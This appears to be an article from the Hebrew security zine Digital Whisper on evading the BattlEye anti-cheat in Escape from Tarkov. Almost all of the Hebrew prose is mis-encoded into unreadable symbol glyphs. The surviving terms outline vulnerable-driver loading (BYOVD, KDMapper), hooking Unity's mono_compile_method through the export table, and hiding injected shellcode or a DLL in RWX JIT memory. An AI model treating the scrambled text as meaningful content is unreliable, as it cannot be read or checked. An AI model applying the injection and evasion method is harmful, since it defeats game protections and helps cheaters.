˸˧˧˴˵ˮˣ˲˪ ˢ˷˵˟ ˸˥˧˪˷ ˰˴˟˪ ˨˶˦˴ˮ ,ˢ˶˵ˬ ˪˩˟ .ˢ˧˴˵ˮˣ˲ˢ ˱ˣˠ ˨ˣ˸˟ ˰ˡ˧ˬ-IOCTL  ˸ˬ˧˧˵ ˶˷˞

ˢ ˸ˬ˶˟ ˸˞ˤ ˢ˷˰ˮ ,˰˧ˠ˲ˢ ˶˟˧˧˶ˡ˟-.Usermode 

 ˢ˧˴˵ˮˣ˲ˢ ˸˶ˤ˰˟ ˸˶ˣ˷˵˸ ˰˴˟˪ ˪˩ˣˮ ,˰˧ˠ˲ ˶˟˧˧˶ˡ ˣˮ˞˴ˬ˷ ˶˥˞˪DeviceIoControlΣ ˧˧˶˲˯˟ ˸˞˴ˬˮˢ ˢ

kernel32.dll. 

 ˢ˶˴˧˷ ˢ˶˟˥˪ ˨˩ ˪˰ ˧˸˥ˣˣ˧ˡ˷ ˫ˣ˷ˬ ,˧˸˪˴˧ˮˣ ˧˸˞˴ˬ ˣ˸ˣ˞ ˧˸˷˪ˣ˥ˢ ˶˟˧˧˶ˡˢ ˸˞ ˶ˬ˞ˬˢ ˭ˬ ˨ˣ˯˥˞

ˣ˸ˣ˞ .˱˯ˣˮ˟ ,ˬˣ˲ ˭˲ˣ˞˟ ˸ˣˬˣˡ ˸ˣ˷˪ˣ˥ ˧˪˰˟ ˫˧ˬˣˡ ˫˧˶˟˧˧˶ˡ ˸ˣ˞ˬ ˫˧ˬ˧˧˵ ˸ˣ˪˵˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˫˸ˣ˞ ,˧˟

 ˣˬ˩ ˫˧˶˸˞˟ ˢ˟˶loldrivers,  ˶˸˞˟ ˫˧˦˵˧ˣ˶˲ ˫ˠˣGitHub  ˣˬ˩KDMapper. 

https://digitalwhisper.co.il/files/Zines/0xA3/DW163-1-BYOVD.pdf
https://loldrivers.io/
https://github.com/TheCruZ/kdmapper
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 ˸ˣ˧˷˲ˣ˥˟ ˞ˣ˶˵˪ˣ ˟ˣ˸˩˪ ˢ˶˧˷˧ ˢ˷˧ˠ ˣˮ˪ ˷˧ ˸˰˩ˮˣ˶˩˧ˤˬ x ˡˣ˵ ˳˧˶ˢ˪ ˢ˴˶ˮ˷ ˪˪ˠ˟ .˵˥˷ˬˢ ˨˧˪ˢ˸ ˪˷

˶˷˞ "˞˟˥ˣˬ" ˸˞ˤ˟ ˵˶ ˵˲˸˯ˮ ˞˪ ,˭ˢ˷˪˩ ˸ˣ˧ˮˣˡˤ ˸ˣ˪ˣ˰˲ ˰˴˟ˬˣ ,ˣˬ˴˰ ˵˥˷ˬˢ ˸˥˸.  ˣˮ˥ˮ˞˷ ˫ˣ˷ˬ

ˣˮ˪˷ ˧ˮˣˡˤˢ ˡˣ˵ˢ ˸˞ ˭˯˥˞˪ ˧˞ˡ˩ ˭˩˧ˢ ˭˧˟ˢ˪ ˫˧˩˧˶˴,  ˣ˸ˣ˞ ˳˧˶ˮ ˡ˴˧˩ˣ ,˵˥˷ˬˢ ˸˟˧˟˯˟ ˯˲˸˧ˢ˪ ˧˪˟ˬ

.ˢ˪˧˥˸˩˪ˬ 

 

˸˲˧˵˸  ˵˥˷ˬˢEscape from Tarkov 

˵˥˷ˬ˟ ˡ˵ˬ˸ˮ ˶ˬ˞ˬˢ ˨˶ˣ˞˪ ,˶ˬ˞ˬˢ ˪˷ ˢˬˡ˵ˢ˟ ˧˸ˮ˧˧˴˷ ˧˲˩-Escape from Tarkov.  ˵˥˷ˬ ˣ˸ˣ˞

 ˸ˮ˷˟ ˶ˣ˞˪ ˞˴˧2017  ˢ˶˟˥ˢ ˧ˡ˧ ˪˰ ˶˴ˣˮˣBattlestate Games.  ˫˞ ,˫˧˪ˣˡˠˢ ˸ˣ˥ˣ˵˪ˢ ˭˧˟ ˞ˣˢ ˵˥˷ˬˢ

 ˢˮˠˢˢ ˸˶˟˥ ˪˷ ,˪ˣˡˠ ˧˩ˢ ˞˪Battleye. 

 ˢ˧˧˵˧˸˟ ˵˥˷ˬˢ ˧˴˟˵ ˸˞ ˞ˣ˴ˬ˪ ˪˩ˣˮC:\Battlestate Games\Escape from Tarkov.  ˵ˣˡ˟˪ ˟ˣ˷˥ ˡ˧ˬ˸

 ˵˥˷ˬ ˰ˣˮˬ ˢˤ˧˞˟ ,˶ˬˣ˪˩ ,˫˧ˡ˟ˣ˰ ˣˮ˥ˮ˞ ˢˬ ˪ˣˬ ˭˧˟ˢ˪ ˪˧˟˷˟ ,˭ˣ˷˞˶ˢ ˡ˰˴ˢ ˶ˣ˸˟ ˵˥˷ˬˢ ˧˴˟˵ ˸˞

ˣˬ˩ ˰ˣˮˬ˟ ˷ˬ˸˷ˬ˷ ˵˥˷ˬ ˶ˣ˟˰ ˧ˮˣˡˤ ˡˣ˵ ˟ˣ˸˩˪ .˷ˬ˸˷ˢ˪ ˣ˶˥˟ ˫˧˥˸˲ˬˢSource engine   ˪˷

 ˢ˶˟˥ˢValveˡˣ˰˧˸ ˣ˶ˣ˟˰ ˫˧˧˵˷ , ˣ˞ ,˟˶Godot   ˢ˧ˢ˧ ,ˢ˞˧˶˵˪ ˭˧ˬˤˣ ˧˟ˬˣ˲ ˣ˪˷ ˡˣ˵ˢ ˪˩˷ ˰ˣˮˬ ˣˮ˧ˢ˷

˪˵ ˶˸ˣ˧ ˢ˟˶ˢ˸˞ˤ .  ˣ˸ˣ˞ ,˥˧˩˷ ˣˮ˧˞˷ ˰ˣˮˬ ˸ˬˣ˰˪ ,˦ˮ˶˦ˮ˧˞˟ ˫˧˰ˣˮˬ ˫˸ˣ˞ ˪˰ ˟˶ ˰ˡ˧ˬ ˷˧˷ ˫ˣ˷ˬ

˫ˬ˴˰˟ ˣ˥˸˧˲ ˵˥˷ˬˢ ˧˥˸˲ˬ ˣ˪˧˲˞ ˧˪ˣ˞: 
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˩˪ ˞˴˧ ˧˪˪˩˟ ˣ˪˧˲˞ ˣ˞ ,˟˷˥ˬ ˧˵˥˷ˬ ˧˰ˣˮˬ ˫˰ ˸ˣ˶˧˩ˢ ˦˰ˬ ˫˩˪ ˷˧ˣ ˢˡ˧ˬ˟ ˫˧˧ˬˮ˧˥ ˫˧˵˥˷ˬ ˳˧˶ˢ˪ ˫

˫˧˴˟˵ˢ ˸˞ ˯˲˯˲˪ ˡˣ˞ˬ ˢ˷˵ ,˟˷˥ˬ˟ ˣ˞ ˭ˣ˲˪˦˟UnityPlayer.dll ˣ ,-UnityCrashHandler64.exe  ˶˷˞

˷ ˨˩ ˪˰ ˫˧ˡ˧˰ˬ-Unity  ˟˸˩ˮ ˢ˲˷ ˢˤ˧˞˟ ˭˧˟ˢ˪ ˪˧˟˷˟ .˵˥˷ˬˢ ˧˥˸˲ˬ ˣ˷ˬ˸˷ˢ ˣ˟ ˰ˣˮˬˢ ˞ˣˢ

 ,˰ˣˮˬˢ ˸˶ˤ˰˟ ˵˥˷ˬ ˪˷ ˷ˡ˥ ˦˵˧ˣ˶˲ ˫˧˶˴ˣ˧ ˶˷˞˩˷ ˢ˪ˠˮ ˡˣ˞ˬ ˶ˢˬˣ ,˪ˠˣˠ ˫˰ ˳˰˧˧˸ˢ˪ ˪˩ˣˮ ,˵˥˷ˬˢ

˫˷˟ ˰ˣˮˬ˟ ˷ˬ˸˷ˬ ˶˷˞ ˵˥˷ˬ ,˸ˣ˧˴˲ˣ˞ ˧˸˷ ˭˧˟ ˢ˶˧˥˟ ˶˷˲˞ˬ ˞ˣˢmono ˟ ˣ˞ ,-il2cpp ˧˲˪ .

˫˷˟ ˢ˧˧˵˧˸ˢMonoBleedingEdge ˢˮˣ˷˞˶ˢ ˢ˧˴˲ˣ˞˪ ˨ˣ˧˷ ˞ˣ˴ˬ˪ ˭˸˧ˮ ,  ˰ˣˮˬ ˪˷mono.  ˪˰ ˷˲˥ˮ ˫˞

 ˞ˣˢ˷ ˢ˪ˠˮ ,˦ˮ˶˦ˮ˧˞˟ ˨˩˥ˣ˸˲ ˡˣ˵ ˰ˣˮˬ,  ˡˣ˵ ˪˷ ˢ˴˶ˢˣ ˪ˣ˲ˬ˧˵˪ ˢ˟˧˟˯ ˶˷˲˞ˬˢC#.  ˰ˣˮˬ ˧˥˸˲ˬ

 ˫˧˵˥˷ˬˢUnity ˟ ˷ˬ˸˷ˢ˪ ˣ˶˥˟-Mono ˟ˣ˸˩˪ ˫˧˵˥˷ˬ ˧˥˸˲ˬ˪ ˶˷˲˞˪ ˧ˡ˩  ˫ˢ˪˷ ˵˥˷ˬˢ ˡˣ˵ ˸˞

 ˸˲˷˟C#. 

 ,˸˞ˤ ˸ˬˣ˰˪il2cpp ˶ˣˡ˧ˢˢ ˸˦˧˷˟ ˸˷ˬ˸˷ˬ ˢˮ˧ˢAhead of Time  ˨˧˪ˢ ˡˣ˵ˢ ˪˩ ˸˞ ˶˧˟˰˸ ˶˷˞ ,

 ˳˧˶ˬ ˢ˸ˣ˞ ˢˮ˩ˣ˸˟ ˢˤ˩ ˨˧˪ˢ ˫ˣ˷ ˰˴ˣ˟ˬ ˞˪ˣ ,ˡˣ˵ˢ ˸˞ ˳˧˶ˢ˪ ˦˧˪˥ˢ ˵˥˷ˬˢ ˥˸˲ˬ˷˩ ˡˣ˰ ˢ˧˴˪˧˲ˬˣ˵

.ˢ˴˵ˢ ˷ˬ˸˷ˬ 

 ,˱˵ˣ˸ ˶ˣ˟˰ ˧˥˶˩ˢ ˨˞ ,˧˯˧˯˟ ˡˣ˞ˬ ˞ˣˢ ˢˤ ˰ˡ˧ˬ ˵˥˷ˬˢ ˡˣ˵ ˪ˣˬ ˪˞ ˢˡˣ˟˰ ˧˩ ˭˧˟ˢ˪ ˭˸˧ˮ ˸˰˩˷ ˫ˣ˷ˬ

 ˣˬ˩ ˫˧˪˩ ˸˶ˤ˰˟ ˢ˦ˣ˷˲ ˢ˧ˢ˸dnSpy  ˫˧˶˞ˮ˧˟ ˶ˣ˟˰ ˡˣ˵ ˸˞˧˶˵ˣ ˡˣ˵ ˸˩˧˶˰ ,ˠˣ˟˧ˡ ˫˧˶˷˲˞ˬ ˶˷˞

 ˡˣ˵ ˸˴˶ˢ˪ ˣˡ˰ˣˮˢDOTNET ˸˞ ˪˪ˣ˩ ˢˤ ˶˟ˡ ,C#. 

˧ˮˣˡˤ ˸ˣ˞ˬ˶ ˡˣ˵ ˟ˣ˸˩˪ ˡ˴˧˩ ˨˧˶ˡˢ˪ ˢˮ˧˞ ˶ˬ˞ˬˢ ˸˶˦ˬ, ˞˪˞ ˢ˪ ˡˣ˵ ˸˞˟˥ˢ˪ ˸ˣ˵˧ˮ˩˦ ˸ˠ˴ˢ˟ ˡ˵ˬ˸

 ˸˟˧˟˯˟ ˷ˣˬ˧˷ ˨ˣ˸ ,˵˥˷ˬˢ ˭ˣ˶˩˧ˤ˟Mono  ˫˰ ˸ˣˡˡˣˬ˸ˬ ˣ˪˞ ˸ˣ˵˧ˮ˩˦ ˡ˴˧˩ ˭˥˟ˮ .˫ˡˣ˵ ˣˮ˶˵˯˷

˫˧˵˥˷ˬ˟ ˫˧˴ˣ˲ˮˢ ˢˮˠˢˢ ˸ˣˮˣ˶˸˲˨˞ ,  ˭˩˷ ,˸ˣ˞ˬ˶ ˡˣ˵ ˸˟˧˸˩˪ ˸ˣ˦˶ˣ˲ˬ ˸ˣ˞˶ˣˢ ˪ˣ˪˩˧ ˞˪ ˶ˬ˞ˬˢ

˦ˮ˶˦ˮ˧˞˟ ˰˲˷˟ ˭˧ˬˤ ˶˟˩ ˢˤ˩ ˰ˡ˧ˬ. 

 ˪ˣ˩˧ ˰ˡ˧ˢ ˣ˸ˣ˞ ,˸˞ˤ ˫˰ ˰ˣˮˬ ,˭˩˟ˣ ?ˡ˴˧˩ .˵˥˷ˬ˟ ˣˮ˪˷ ˧ˮˣˡˤˢ ˡˣ˵ˢ ˸˞˟˥ˢ˪ ˣˮ˸ˣ˞ ˷ˬ˷˪mono  ˣˮ˧ˢ

 ˶ˣˡ˧ˢˢ ˸˶ˣ˴˟ ˪˰ˣ˲ˢ ˰ˣˮˬJIT )Just in Time(. ˶ˬˣ˪˩,  ˢˮ˟ˮ ˞ˣˢ ,˵˥˷ˬ˪ ˷ˡ˥ ˡˣ˵ ˱˧˯ˣˬ ˥˸˲ˬˢ ˶˷˞˩

) ˧ˢ˷˪˩ ˫˧˧ˮ˧˟ ˸˲˷˪IL ˞˶˵ˮˢ ˡˣ˵˪ ˧˲ˣ˯ ˶ˣˡ˧ˢ ˸˶˟ˣ˰ ˶˷˞ ,(Native ˣˮ˪˷ ˢ˶˵ˬ˟ ,- Assembly  ˠˣ˯ˬ

x86. ˢ˴˶ˢ ˭ˬˤ˟ ˵˶ˣ ˨˞ ˪˲ˬˣ˵˧ ˢˤ ˡˣ˵,  ˪˷ˬ˪ ,˫˧˟˶ ˸ˣˮˣ˶˸˧ ˫˧ˬ˧˧˵ ˣˤ ˢ˦˧˷˪ˣ-  ˨˧˶˴˷ ˧ˡ˧˥˧ˢ ˡˣ˵ˢ

˷ˬˣ˷ˬ˷ ˡˣ˵ ˞ˣˢ ,˭ˣ˶˩˧ˤ˟ ˥˩ˣˮˣ ˪˲ˬˣ˵ˬ ˸ˣ˧ˢ˪.  ˭ˬ "˶˶˥ˣ˷ˬ" ˸ˣ˧ˢ˪ ˪ˣ˩˧ ,ˢˬ ˭ˬˤ ˷ˬˣ˷ ˞˪˷ ˡˣ˵

 ˢ˧˴˪˧˲ˬˣ˵ ˨˧˪ˢ ˶˟ˣ˰ ˡˣ˵ˢ˷ ˪˪ˠ˟ ,˞ˣˢ ˶˸ˣ˧˟ ˟ˣ˷˥ ˭ˣ˶˸˧ .˳ˣ˥ˮ ˣˮ˧˞ˣ ˢˡ˧ˬ˟ ˭ˣ˶˩˧ˤˢ ˸˴˶ˢ ˭ˬˤ˟ ˵˶

 ˸ˣˢˤ˪ ˢ˪ˣ˩˧ ,ˡˣ˵ˢ ˸˞ ˸˶ˡˢˬ ˶˷˞ ˢˮ˩ˣ˸ˢ ,ˢˮ˩ˣ˸ˢFeature- ˧˷ˬ˸˷ˬ ˪˷ ˢ˴˵ ˧˟˷˥ˬ˟ ˫˧ˡ˥ˣ˧ˬ ˫˧

 ˶˴ˣˮ ˣ˟ ˟˴ˬ˪ ˰˧ˠˮ ˭˩˪ .ˣˢ˷˪˩ ˧˸˶ˬˣ˥ ˟˧˩˶ ˣ˞ ,ˡ˟˰ˬ ˣ˸ˣ˞ ˶ˣ˟˰ ˸ˣˮˣ˷ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˰˴˟˪ˣ ,ˢˮ˩ˣ˸ˢ

'˟ ˟˷˥ˬ ˶ˣ˟˰ ˭˧˦ˣ˪˥˪ ˢˮˣ˷ ˡˣ˵ ˨˞ ,'˞ ˟˷˥ˬ ˶ˣ˟˰ ˫˧ˣ˯ˬ ˡˣ˵, ˭˸ˮ˧ˢ˟  ˧ˮ˷ ˭˧˟ ˢˮˣ˷ ˢ˶ˬˣ˥

.˫˧˟˷˥ˬˢ 

https://github.com/mono/mono
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˟ ˸ˣ˷ˬ˸˷ˬˢ ˢ˴˶ˢ ˸ˣ˟˧˟˯ ˪ˣ˴˧ˮ-JIT 

 ˣ˵ˡ˟˧ ˫˧˟˶ ˢˮˠˢ ˧˶˴ˣˬ ,˶ˬ˞ˬˢ ˸˪˧˥˸˟ ˭˧ˣ˴˷ ˧˲˩ ,˶˟ˡ˟˷ ˸ˣ˧˸˧˧˰˟˟ ˣˮ˧˥˟ˢ ˶˟˩ ˫˩˵˪˥˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧

 ˨˧˪ˢ˸ ˳˧˶ˬ ˣ˸ˣ˞˷ ˵˯˧ˡˢ ˭ˮˣ˩˟ ˫˧˶ˣˬ˷ˢ ˫˧˴˟˵˪ ˨˧ˣ˷ˬ ˸ˬ˞˟ ˣˮ˧ˢ ˵˥˷ˬˢ ˳˧˶ˬ ˣ˸ˣ˞˷ ˡˣ˵ˢ˷

 ˰ˣˮˬ ˸˥˸ ˳˶ ˵˥˷ˬˢ˷ ˰ˠ˶˟ ˨˞ .˵˥˷ˬˢJIT ˡˣ˵ˢ˷ ˫ˣ˷ˬ ,ˡ˥ˣ˧ˬ˟ ˢ˷˵˪ ˸˩˲ˢˮ ˢˬ˧˷ˬˢ ,ˣˢ˷˪˩ 

˰ˣˮˬˢ ˸ˣ˞˯˶ˠ ˭˧˟ˣ ,˫˧ˮˣ˷ ˫˧˟˷˥ˬ ˭˧˟ ˸ˣˮ˸˷ˢ˪ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˳˶˷, .ˡ˥˞ ˫ˣ˧ ˭˩ˡˣ˰ˬˣ ˢˡ˧ˬ˟ 

ˡˣ˵ ˪˷ ˰ˣ˟˵ ˪ˡˣˠ ˭˧˞˷ ˭˧˟ˢ˪ ˟ˣ˷˥ Native  ˧ˣˢ˧ˤ˪ ˯ˣ˥˧˧ ˸ˡˣ˵ˮ˩ ˷ˬ˸˷ˢ˪ ˢ˪ˣ˩˧ ˢˮˠˢˢ ˸˩˶˰ˬ˷

ˡˣ˵ˢ˷ ˭ˣˣ˧˩ˬ ˸˞ˤ .˸ˣˠ˧˶˥ Native ˧˪ˢ˸ˬ ˵˪˥˩ ˳˧˶ˢ˪ ˷˶ˡˮ ˰ˣˮˬˢ˷ ˡˣ˵ˢ ˵˶ ˞ˣˢ ˭ˣ˶˩˧ˤ˟ ˫˧˧˵˷ ˨

 ˫˰˲˟ ˵˶ ˸˞ˤˣ ,ˢ˧˴˪˧˲ˬˣ˵ ˶˟ˣ˰ ˳ˣ˥ˮˢ ˡˣ˵ˢ ˵˶ :˧ˬˮ˧ˡ ˭˲ˣ˞˟ ˷˥˶˸ˬ ˢˤ ˨˧˪ˢ˸ .ˢ˧˴˪˧˲ˬˣ˵ˢ

˷ˣˬ˧˷˪ ˞˶˵ˮ ˞ˣˢ˷ ˢˮˣ˷˞˶ˢ.  ˢ˧˴˵ˮˣ˲ˢ ˸ˣ˰˴ˬ˞˟ ˰˴˟˸ˬ ˢˤˢ ˢ˧˴˪˧˲ˬˣ˵ˢ ˨˧˪ˢ˸

mono_compile_methodˢ ˸˪˟˦˟ ˸˶ˡˠˣˬ ˣˤ ˢ˧˴˵ˮˣ˲ .-EAT (Export Address Table ό ˳˟ˣ˵ˢ ˪˷

mono-2.0-bdwgc.dll ˰ˣˮˬ˟ ˧ˤ˩˶ˬ ˵˪˥ ˞ˣˢ˷ ,Mono ˡˣ˵ˢ ˪ˡˣˠ ,˨˩ˬ ˢ˞˴ˣ˸˩ .Native  ˢˮ˸˷ˬ ˭ˣ˶˩˧ˤ˟

.ˡ˟˪˟ ˪ˡˣˠ ˨ˬ˯ ˪˰ ˧ˮˣˡˤ ˡˣ˵ ˸ˣˢˤ˪ ˢˮˠˢ ˸ˣ˩˶˰ˬ ˪˰ ˢ˷˵ˬ˷ ˢˬ ,˸˧ˮ˩ˣ˸ˢ ˧˩˶˴˪ ˫˞˸ˢ˟ 

 ˨˧ˣ˷ˬ ˫˧ˣ˯ˬ ˡˣ˵ ˫˞ ˵ˣˡ˟˸ ˶˷˞ ˢ˵˧ˡ˟ ˸˶˧˴˧ ,˵˥˷ˬˢ ˷ˬ˸˷ˬ ˣ˟ ˢˮˠˢˢ ˶˴ˣˬ ˶ˣ˟˰˷ ˪˪ˠ˟ ,˭˩˪

 ,˞˪ ˣ˞ ˵˥˷ˬˢ ˧˶˴ˣ˧˪ˢ˴˶ˢˢ ˸˟˧˟˯ ˪˪ˠ˟ ˶ˣ˸˲˪ ˡ˥ˣ˧ˬ˟ ˢ˷˵ ˶ˠ˸˞ ˢˣˣˢˬ.  ˸˞ˤ ˪˴ˮ˪ ˪˩ˣˮˣˮ˸˟ˣ˦˪ 

ˢ ˰ˣˮˬ˷ ˣ˪˞˪ ˫˧ˢˤ ˫˧˞˶ˮ ˶˷˞ ˭ˣ˶˩˧ˤ ˧˴ˣ˵˪˞ ˨˶ˡ-JIT .˵˥˷ˬ ˡˣ˵ ˭ˢ˟ ˶ˠˣ˞ 

:˫˧˟˪˷ ˢ˷ˣ˪˷ ,˫˧˲˵ˣ˸ˢ ,ˣˮ˸˧˞ˬ ˷ˣ˶ˡ˧ ˨˧˪ˢ˸ˢ ˪˩ 

мΦ ˢ ˸˞ ˟ˣ˸˩˪ ˭˸˧ˮ ˭˞˪ ˭˧˟ˢ˪ ˧ˡ˩˟ ,˵˥˷ˬˢ ˭ˣ˶˩˧ˤˬ ˢ˞˧˶˵-Shellcode ˶˩˧ˤ ˳˵˪˞˧˷ ˶˷˞ ,˷ˡ˥ ˭ˣ

˧˸˧ˬ˞ ˢ˞˶ˮ˷ ˭ˣ˶˩˧ˤ˩ ˞˟˥ˣˬ. 

нΦ ˢ ˪˷ ˢ˟˧˸˩ˣ ,˭ˣ˶˩˧ˤ ˳˵˪˧˞ ˣˮ˪˷ ˡˣ˵ˢ ˣ˟ ˫ˣ˵˧ˬˢ ˪˷ ˢ˞˧˶˵-DLL ˸˟ˣ˸˩ˢ ˢ˸ˣ˞˪ ˣˮ˪˷ ˧ˮˣˡˤˢ. 

оΦ ˢ ˪˷ ˸˲˯ˣˮ ˡˣ˵ ˸˴˶ˢ-Entry point ˟ ˶ˣˬ˷ˢ-DLL  ˯ˣˮˣ˟ ˸ˣˡˣ˵ˮ .˳ˣ˶˧ ˞ˣˢ˷ ˧ˡ˩˟ ,ˣˮ˪˷ ˧ˮˣˡˤˢ

˟ ˶˟ˣˡˬˣ ˢˡ˧ˬ˟-Thread ˣ˞ ˵˥˷ˬ˟ ˶˟ˡ ˫ˣ˷ ˦˞˧ ˞˪˷ (: ˢˠ˧˶˥ ˸ˣˠˢˮ˸ˢ˪ ˫ˣ˶ˠ˧ 

 

 ˭ˣ˷˞˶ ˟˪˷- ?ˡˣ˵ ˫˧˟˸ˣ˩ ˭˞˪ 

 ˨˞ .˵˥˷ˬˢ ˪˷ ˢˤ˪ ˫˞ˣ˸ ˢ˞˶ˮ˷ ˭ˣ˶˩˧ˤ ˳ˣ˵˪˞ ˰˴˟ˬˢ ˡˣ˵ ˳˧˶ˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˧˪˰˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢ

 ˨˧˪ˢ ˶˟˰˷ ˡˣ˵ ˶ˬˣ˷ ˞ˣˢ ˢ˲˧˞ˣ ˡ˴˧˩ ˭˧˟ˮˣ ˵˥˷ˬˢ ˸˞ ˳˧˶ˮ ˞ˣ˟ ,˭˩˟ˣ ?ˡˣ˵ˢ ˣ˸ˣ˞ ˸˞ ˟ˣ˸˩ˮ ˭˞˪

.ˢ˧˴˪˧˲ˬˣ˵ 
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 ˞˪˪ ˵˥˷ˬˢ ˸˞ ˳˧˶ˢ˪ ˨˶˦˴ˮ ,˪˩ ˫ˡˣ˵Battleye ˣˬ˩ ˫˧˪˩ ˳˧˶ˢ˪ ˪˩ˣˮ˷ ˧ˡ˩˟ ,Process hacker , ˶˷˞

ˣ˶˷˲˞˧ .˵˥˷ˬˢ ˪˷ ˭ˣ˶˩˧ˤˢ ˸˲ˬ˪ ˢ˷˧ˠ ˣˮ˪  ,ˢˮˠˢ ˸ˮ˩ˣ˸ ˫ˣ˷ ˞˪˪ ˵˥˷ˬˢ ˸˞ ˳˧˶ˢ˪ ˪˧˟˷˟

 ˧˪˩˟ ˧˸˷ˬ˸˷ˢyentBattlE  ˫ˣ˶ˣ˲˟ ˭˧ˬˤ˷UnknownCheats ˟x-Github ˪˷ ˢ˴˶ˢ ˞ˣˢ ˷˶ˡˮ˷ ˢˬ ˪˩ .

 ˶˴ˣ˧ ˧˪˩ˢ ,˵˥˷ˬˢ ˪˷ ˢ˪˧ˠ˶ ˢ˴˶ˢ ˭˩ˬ ˶˥˞˪ˣ ,˧˪˩ˢHook  ˨˧˪ˢ˸ ˸˞ ˸˰˴˟ˬ˷ ˢ˧˴˵ˮˣ˲ˢ ˪˰ ˦ˣ˷˲

 ˪˷ ˪ˣ˥˸˞ˢBattleye.  ,˧˪˩ˢ ˣ˸ˣ˞˟ ˫˧˷ˬ˸˷ˬ ˣˮ˥ˮ˞ˣ ˢˡ˧ˬ˟ ˧ˬˣ˵ˬ ˵˥˷ˬ ˧˟ˣ˪˪ ˵˶ ˶˟˥˸ˢ˪ ˪˩ˣˮ ˭˩˪

ˮ˥ˮ˞˷ ˣˤ ˣˬ˩ ˸ˣ˵˧ˡ˟ ˶ˣ˟˰ ˸˶ˡˢˮ ˨˶ˡ˩ ˸˷ˬ˷ˬ ˭˧˧ˡ˰ ˢ˦˧˷ˢ ˨˞˰ˠ˶˩ ˰˴˟˪ ˫˧˴ˣ˶ ˣ: 

 

˷ ˸ˣ˪˟ˠˢˢ ˞˪˪ ˳˶ ˞ˣˢ˷ ˫ˣ˷ˬ ,ˣ˧˪˰ ˫˧˦˶˲ˢ ˪˩ˣ ˵˥˷ˬˢ ˭ˣ˶˩˧ˤ˪ ˢ˞˪ˬ ˢ˷˧ˠ ˣˮ˪ ˷˧ ˸˰˩-Battleye 

ˢ ˸˪˟˦˟ ˪ˣ˪ˠˮ ˫˞ .ˣˮ˪ ˟˧˴ˬ-Memory  ˧˪˩˟Process hacker ˪ˡˣˠ˟ ˭ˣ˶˩˧ˤ ˧˧ˣ˲˧ˬ ˭ˣˬˢ ˷˧ ˧˩ ˟˪ ˫˧˷ˮ ,

0x10000 )64KB ˸ˣ˞˷˶ˢ ˧˪˰˟ ˫˧˧ˣ˲˧ˬ ˫˸ˣ˞ ,(RWX )Read Write Execute ˫ˣ˷ˬ ˧ˮˣ˧ˠˢ ˢˤ ˶˟ˡ ,(

ˢ ˡˣ˵ˢ˷-Native ˪˷ ˪ˣ˲ˬ˧˵ˢ ˸˟˧˟˯˷-JIT  ˪ˣ˩˧ ˷ˡ˥ ˡˣ˵ ,˵˥ˬ˧ˢ˪ ˪ˣ˩˧ ˭˷˧ ˡˣ˵ˣ ,˧ˬ˞ˮ˧ˡ ˡˣ˞ˬ ˞ˣˢ ˢ˶˴˧

 ˡˣ˵ ˸ˣ˶ˬˣ˷˷ ˭ˣ˶˩˧ˤˢ ˧˴ˣ˵˪˞˪ ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˸ˣˮ˸˧ˮ ˭˩˪ .'ˣ˩ˣ ˱˯ˣˣ˸ˢ˪Native.  

ˢ ˸˞ ˣ˧˪˞ ˟ˣ˸˩˪ ˟ˣ˦ ˫ˣ˵ˬ ˣˬ˩ ˫˧˞˶ˮ ˫˧˴ˣ˵˪˞ˢ ˪˩-Shellcode ˣˮ˪˷,  ˫˧˷ˡ˥ ˭ˣ˶˩˧ˤ ˧˴ˣ˵˪˞ ˰˴˟˧˷

.ˢˮˣˬ˸˟ ˫˧˞ˣ˶˷ ˧˲˩ ˵˥˷ˬˢˬ ˡˣ˵ ˫˸ˣ˞ ˶ˣ˸˟ ˫ˬ˴˰ ˸˞ ˫˧ˣˣ˯ˬˢ 

,˸˰˩  .ˣˮˬ˴˰˟ ˸ˣ˟ˣ˸˩ ˭˸ˣ˞ ˸˞ ˞ˣ˴ˬ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˨˧˞ ˭˧˟ˢ˪ ˵˶ ˶˞˷ˮ ,ˣ˧˪˞ ˟ˣ˸˩˪ ˫ˣ˵˧ˬ ˣˮ˶˥˟˷˩

 ˰ˣˮˬˢ ˧ˡ˧ ˪˰ ˸ˣ˪ˢˣˮˬ ˸ˣ˟ˣ˸˩ ˭˸ˣ˞˷ ˪˪ˠ˟ ,˭˩˟ˣMono˵ˬ ˧˩ ˥˧ˮˢ˪ ˶˧˟˯ , ˳˟ˣ˵ ˢ˧ˢ˧ ˣ˟ ˪˧˥˸ˢ˪ ˟ˣ˦ ˫ˣ

˪ˣˡˠˢ ˢ˧˧˶˲˯ˢ  ˪˷ ˪ˣ˲ˬ˧˵ˢˣ ˭ˣ˶˩˧ˤˢ ˪ˣˢ˧ˮˬ ˟˥˶ˮ ˵˪˥ ˪ˢˮˬ˷Mono ˧ˮ˲˪ ˧˸ˮ˧˧˴ ˣ˸ˣ˞ mono-2.0-

bdwgc.dllΦ 

  

https://github.com/mostdefinitelynotnth/battleyent
https://www.unknowncheats.me/forum/escape-from-tarkov/481919-battleyent-play-offline-raids-battleye-live-version.html
https://github.com/mostdefinitelynotnth/battleyent


 
 

    Anti Cheat 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 171, ˳˶ˬ нлнр  мо 
 

˷ ˸ˣ˶ˬ˪-Mono  ˰ˣˮˬ ˪˷ ˢ˧˥˸˲ˬ ˫˧˷ˬ˸˷ˬ ˢ˟ ˢ˯˶ˠˢ ,˥ˣ˸˲ ˡˣ˵ ˦˵˧ˣ˶˲˩ ˶ˡˠˣˬUnity  ˢ˯˶ˠ ˞˧ˢ

˫ˢ˧ˡ˧ ˪˰ ˫˧˧ˣˮ˧˷ ˢ˶˟˰ ˶˷˞. ˮ˞ ˫˧˧ˣˮ˧˷ ˫˸ˣ˞ ˸˞ ˡˣ˵ˢ ˪˰ ˨ˬ˸˯ˢ˪ ˞˪˷ ˱˧ˡ˰˞ ˭˩˪ˣ ,˶˧˩ˬ ˞˪ ˧

